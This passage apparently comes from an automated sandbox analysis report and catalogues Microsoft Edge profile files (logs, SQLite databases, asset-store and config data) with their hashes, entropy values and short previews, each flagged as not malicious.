Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.059013740594581
Encrypted:	false
SSDEEP:	6:HGLCzFIq2PN723oH+Tcwt9Eh1tIFUt8YGLCioZmw+YGLCMkwON723oH+Tcwt9Ehx:UYFIvVaYeb9Eh16FUt8Z2/+ZJ5OaYebY
MD5:	CF3A02DB36643C179CD79242D19C0CE7
SHA1:	CB9A7646DB2D9F9B874DCDC9B734FF95CC19C35B
SHA-256:	F7A1187CED351B6FB30116DD5778E25F2CB38033EC1504C78AB49937447512B3
SHA-512:	1461F72C38F41B4ECFF8E8BE20EF6B12713DFFFC61ED0C5FD9AC738E275EE1451B14192945D77B69E0A5E69EFE65BE386C07CE9C27FBFFAAD06F69ED42908859
Malicious:	false
Preview:	2024/11/23-03:16:46.424 aa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-03:16:46.426 aa0 Recovering log #3.2024/11/23-03:16:46.430 aa0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.059013740594581
Encrypted:	false
SSDEEP:	6:HGLCzFIq2PN723oH+Tcwt9Eh1tIFUt8YGLCioZmw+YGLCMkwON723oH+Tcwt9Ehx:UYFIvVaYeb9Eh16FUt8Z2/+ZJ5OaYebY
MD5:	CF3A02DB36643C179CD79242D19C0CE7
SHA1:	CB9A7646DB2D9F9B874DCDC9B734FF95CC19C35B
SHA-256:	F7A1187CED351B6FB30116DD5778E25F2CB38033EC1504C78AB49937447512B3
SHA-512:	1461F72C38F41B4ECFF8E8BE20EF6B12713DFFFC61ED0C5FD9AC738E275EE1451B14192945D77B69E0A5E69EFE65BE386C07CE9C27FBFFAAD06F69ED42908859
Malicious:	false
Preview:	2024/11/23-03:16:46.424 aa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-03:16:46.426 aa0 Recovering log #3.2024/11/23-03:16:46.430 aa0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4625886153528658
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuN:TouQq3qh7z3bY2LNW9WMcUvBuN
MD5:	8C93E30C898F876B92AF70DB7C8B45FD
SHA1:	8E869FA1F766E991B2F41011EF0FA9C415D0D19C
SHA-256:	F9F8ED4D03DB5E4CE74091BC955A2D00CDFA793598B6A9022D0D217EC79AD165
SHA-512:	1B860E75D7663EBE33D5F272BE5A82D73ED6C5DFB6184D78E571A705A4E73F3935D21C6695300D807E73FF248C8A99BD3DF322B87C097A9F73B90D3D9C3E6CE0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.20362038259545
Encrypted:	false
SSDEEP:	6:HGLCFq2PN723oH+TcwtnG2tMsIFUt8YGLCQZmw+YGLCYkwON723oH+TcwtnG2tM2:UQvVaYebn9GFUt8Zx/+Zr5OaYebn95J
MD5:	FC14087717BD54050CBF0967376012A9
SHA1:	017C7CC86FB08136B2413F71F273C70F7A15EB57
SHA-256:	E10013EA9D6EF4D40D95595B5765CEDF1BC3AA5017E63F6431D06AEA108EE848
SHA-512:	6F206DF41F7C1B5F8E87A080D2501CFE2B0EFE2D1729CE82DA0EB3C814AAABC60D7203AC495AB1F406650813EEDF1186753C694B16AC12456945140331CB1A2F
Malicious:	false
Preview:	2024/11/23-03:16:41.378 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/23-03:16:41.378 1d74 Recovering log #3.2024/11/23-03:16:41.378 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.20362038259545
Encrypted:	false
SSDEEP:	6:HGLCFq2PN723oH+TcwtnG2tMsIFUt8YGLCQZmw+YGLCYkwON723oH+TcwtnG2tM2:UQvVaYebn9GFUt8Zx/+Zr5OaYebn95J
MD5:	FC14087717BD54050CBF0967376012A9
SHA1:	017C7CC86FB08136B2413F71F273C70F7A15EB57
SHA-256:	E10013EA9D6EF4D40D95595B5765CEDF1BC3AA5017E63F6431D06AEA108EE848
SHA-512:	6F206DF41F7C1B5F8E87A080D2501CFE2B0EFE2D1729CE82DA0EB3C814AAABC60D7203AC495AB1F406650813EEDF1186753C694B16AC12456945140331CB1A2F
Malicious:	false
Preview:	2024/11/23-03:16:41.378 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/23-03:16:41.378 1d74 Recovering log #3.2024/11/23-03:16:41.378 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6133860828609193
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jGYdpVGmL:TO8D4jJ/6Up+qYJD
MD5:	21FC8ADD538E2CD43D6CF4610D278B30
SHA1:	9E443B95B9B31C46B5201B9603D6F6AB85492B3C
SHA-256:	DEE8157D02EC9B01E624AC4E08B417C144E281381E96D91A47DB74464DD82D04
SHA-512:	A27A5165C5CDD6307FE025CA0FB3FC0B3DE30CAEA9B17F5A4D1427EEE6DD12DB0E3B8509FE89055706BF0BC6F23B96DAEDD6BAE32E3AC7F3E5ECB9753B79770B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354100443221465
Encrypted:	false
SSDEEP:	6144:6A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:6FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	12D662AE677A04957EE76EFEFC167C83
SHA1:	DBB4518D8EE77392708E493D60FDA001BF1BCD2F
SHA-256:	2115750BD9115A7C6E6C5CA42C0F132137DD3197C10369A71285843B2411AE40
SHA-512:	3067AD884791A6F9CC668C6119F233AA07D19814CF6739D4402F81AF8F72B3D79B60EA6394CDB31FDE940533A3103A71A34A428167E54AD0F81E41D159C236A2
Malicious:	false
Preview:	...m.................DB_VERSION.1.E!6q...............&QUERY_TIMESTAMP:domains_config_gz2...13376823409317957..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.154453755729238
Encrypted:	false
SSDEEP:	6:HGLCL34M1N723oH+Tcwtk2WwnvB2KLlVGLCNcAVq2PN723oH+Tcwtk2WwnvIFUv:UKosaYebkxwnvFLcMVvVaYebkxwnQFUv
MD5:	862635E0A2D12CF6FDA829E0984D439D
SHA1:	1CD9E59ED45329916244646E54EA5747C7555274
SHA-256:	1B8B090657D6454CA67C57949EC30932202A5A59BFB8FED3221910DED870CC2B
SHA-512:	89AB0622B4ADCF330F6756CC7B147AEE68EEC0179DA92B1951ED75DFF1D07E544DBD8137451B579558B1BE16D1801B0826FCD643925F42AD076B8B54AEE3D7AA
Malicious:	false
Preview:	2024/11/23-03:16:46.438 1b44 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/23-03:16:46.493 1b44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324618509939503
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R8:C1gAg1zfvE
MD5:	D7B0A0DACEAAAB6E31D8038C013E4317
SHA1:	624D76845001A34BE7B7DBA36BA054A5A503511D
SHA-256:	0F141BB9CD3907D30E8D98F86403E2318969A3BFF3573582272E381E13603E1E
SHA-512:	425A7C12CB1D8354403112B40F0748377B2CBB7C164E390F8638E7479538CA21472436ABC422BD941BE7E658485D866B571031A515CFAE5CB16EE5D96C18BC50
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.152188837770961
Encrypted:	false
SSDEEP:	6:HGLC2q2PN723oH+Tcwt8aPrqIFUt8YGLCvZmw+YGLCiFUBukwON723oH+Tcwt8a4:UrvVaYebL3FUt8ZO/+ZEU5OaYebQJ
MD5:	1E72700E810852B036B9D8E64F5DA0E2
SHA1:	7FB0A01C1E1F21067836C8367FE7335ED8D2081D
SHA-256:	D786818B36DC967B101A410DE24C3EDBA184E421449E125427B4FD8876C0FCB3
SHA-512:	1ADE8D8207EA617BA5C63BB3EF962067E239C5F3F3EE05E2D4C522747A75FA50810BDD67B89338DB1C820AEA50298DA8FFB18B95C6430EE168A87EBC2000231C
Malicious:	false
Preview:	2024/11/23-03:16:41.380 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/23-03:16:41.380 1d74 Recovering log #3.2024/11/23-03:16:41.381 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.152188837770961
Encrypted:	false
SSDEEP:	6:HGLC2q2PN723oH+Tcwt8aPrqIFUt8YGLCvZmw+YGLCiFUBukwON723oH+Tcwt8a4:UrvVaYebL3FUt8ZO/+ZEU5OaYebQJ
MD5:	1E72700E810852B036B9D8E64F5DA0E2
SHA1:	7FB0A01C1E1F21067836C8367FE7335ED8D2081D
SHA-256:	D786818B36DC967B101A410DE24C3EDBA184E421449E125427B4FD8876C0FCB3
SHA-512:	1ADE8D8207EA617BA5C63BB3EF962067E239C5F3F3EE05E2D4C522747A75FA50810BDD67B89338DB1C820AEA50298DA8FFB18B95C6430EE168A87EBC2000231C
Malicious:	false
Preview:	2024/11/23-03:16:41.380 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/23-03:16:41.380 1d74 Recovering log #3.2024/11/23-03:16:41.381 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.142784336964051
Encrypted:	false
SSDEEP:	6:HGLCD9+q2PN723oH+Tcwt865IFUt8YGLCDJZmw+YGLCD9VkwON723oH+Tcwt86+e:UlvVaYeb/WFUt8Zw/+Z45OaYeb/+SJ
MD5:	B4BC2CF6E087CC6E9F49E3A9A14FAAA6
SHA1:	6BCFD320236B90B05A1013FDDF06F1597CECB3A7
SHA-256:	A6A3D8816563E36DA5811B50E29998BAAF616E65BDDC1B07126A664E72591E2C
SHA-512:	9234FD0D98CECF37ED730F1374EFC838DEC6BC55153F52F706EABFB707D6DA0EA5F25D8B79ECB15E5420DF125F21AA778C2522A7873D3EAE8BAD9841FA505273
Malicious:	false
Preview:	2024/11/23-03:16:41.402 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/23-03:16:41.402 1d88 Recovering log #3.2024/11/23-03:16:41.402 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.142784336964051
Encrypted:	false
SSDEEP:	6:HGLCD9+q2PN723oH+Tcwt865IFUt8YGLCDJZmw+YGLCD9VkwON723oH+Tcwt86+e:UlvVaYeb/WFUt8Zw/+Z45OaYeb/+SJ
MD5:	B4BC2CF6E087CC6E9F49E3A9A14FAAA6
SHA1:	6BCFD320236B90B05A1013FDDF06F1597CECB3A7
SHA-256:	A6A3D8816563E36DA5811B50E29998BAAF616E65BDDC1B07126A664E72591E2C
SHA-512:	9234FD0D98CECF37ED730F1374EFC838DEC6BC55153F52F706EABFB707D6DA0EA5F25D8B79ECB15E5420DF125F21AA778C2522A7873D3EAE8BAD9841FA505273
Malicious:	false
Preview:	2024/11/23-03:16:41.402 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/23-03:16:41.402 1d88 Recovering log #3.2024/11/23-03:16:41.402 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.097161386733113
Encrypted:	false
SSDEEP:	6:HGLCDVq2PN723oH+Tcwt8NIFUt8YGLCkgZmw+YGLCkIkwON723oH+Tcwt8+eLJ:UgvVaYebpFUt8Zw/+Z45OaYebqJ
MD5:	161E5D54C081FCC0C9B7D5B0DEE3032C
SHA1:	D01E5D36FF0925DAFAD6BB9F04EA5EA361F249D2
SHA-256:	5E4CD467EE1653E76333EB31A28624FD5336866A847A0885B4D3AAD1A223FF54
SHA-512:	AF6B3CD2510CAC84319FC2B5C912EE3F3FA9FA5B69324597A4530A087B63818D0A3FB97BF86F4E8B0D2B47F231582B1F3810FF385CFE1C4D155FF069821F1D1B
Malicious:	false
Preview:	2024/11/23-03:16:42.111 1d50 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/23-03:16:42.112 1d50 Recovering log #3.2024/11/23-03:16:42.112 1d50 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.097161386733113
Encrypted:	false
SSDEEP:	6:HGLCDVq2PN723oH+Tcwt8NIFUt8YGLCkgZmw+YGLCkIkwON723oH+Tcwt8+eLJ:UgvVaYebpFUt8Zw/+Z45OaYebqJ
MD5:	161E5D54C081FCC0C9B7D5B0DEE3032C
SHA1:	D01E5D36FF0925DAFAD6BB9F04EA5EA361F249D2
SHA-256:	5E4CD467EE1653E76333EB31A28624FD5336866A847A0885B4D3AAD1A223FF54
SHA-512:	AF6B3CD2510CAC84319FC2B5C912EE3F3FA9FA5B69324597A4530A087B63818D0A3FB97BF86F4E8B0D2B47F231582B1F3810FF385CFE1C4D155FF069821F1D1B
Malicious:	false
Preview:	2024/11/23-03:16:42.111 1d50 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/23-03:16:42.112 1d50 Recovering log #3.2024/11/23-03:16:42.112 1d50 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
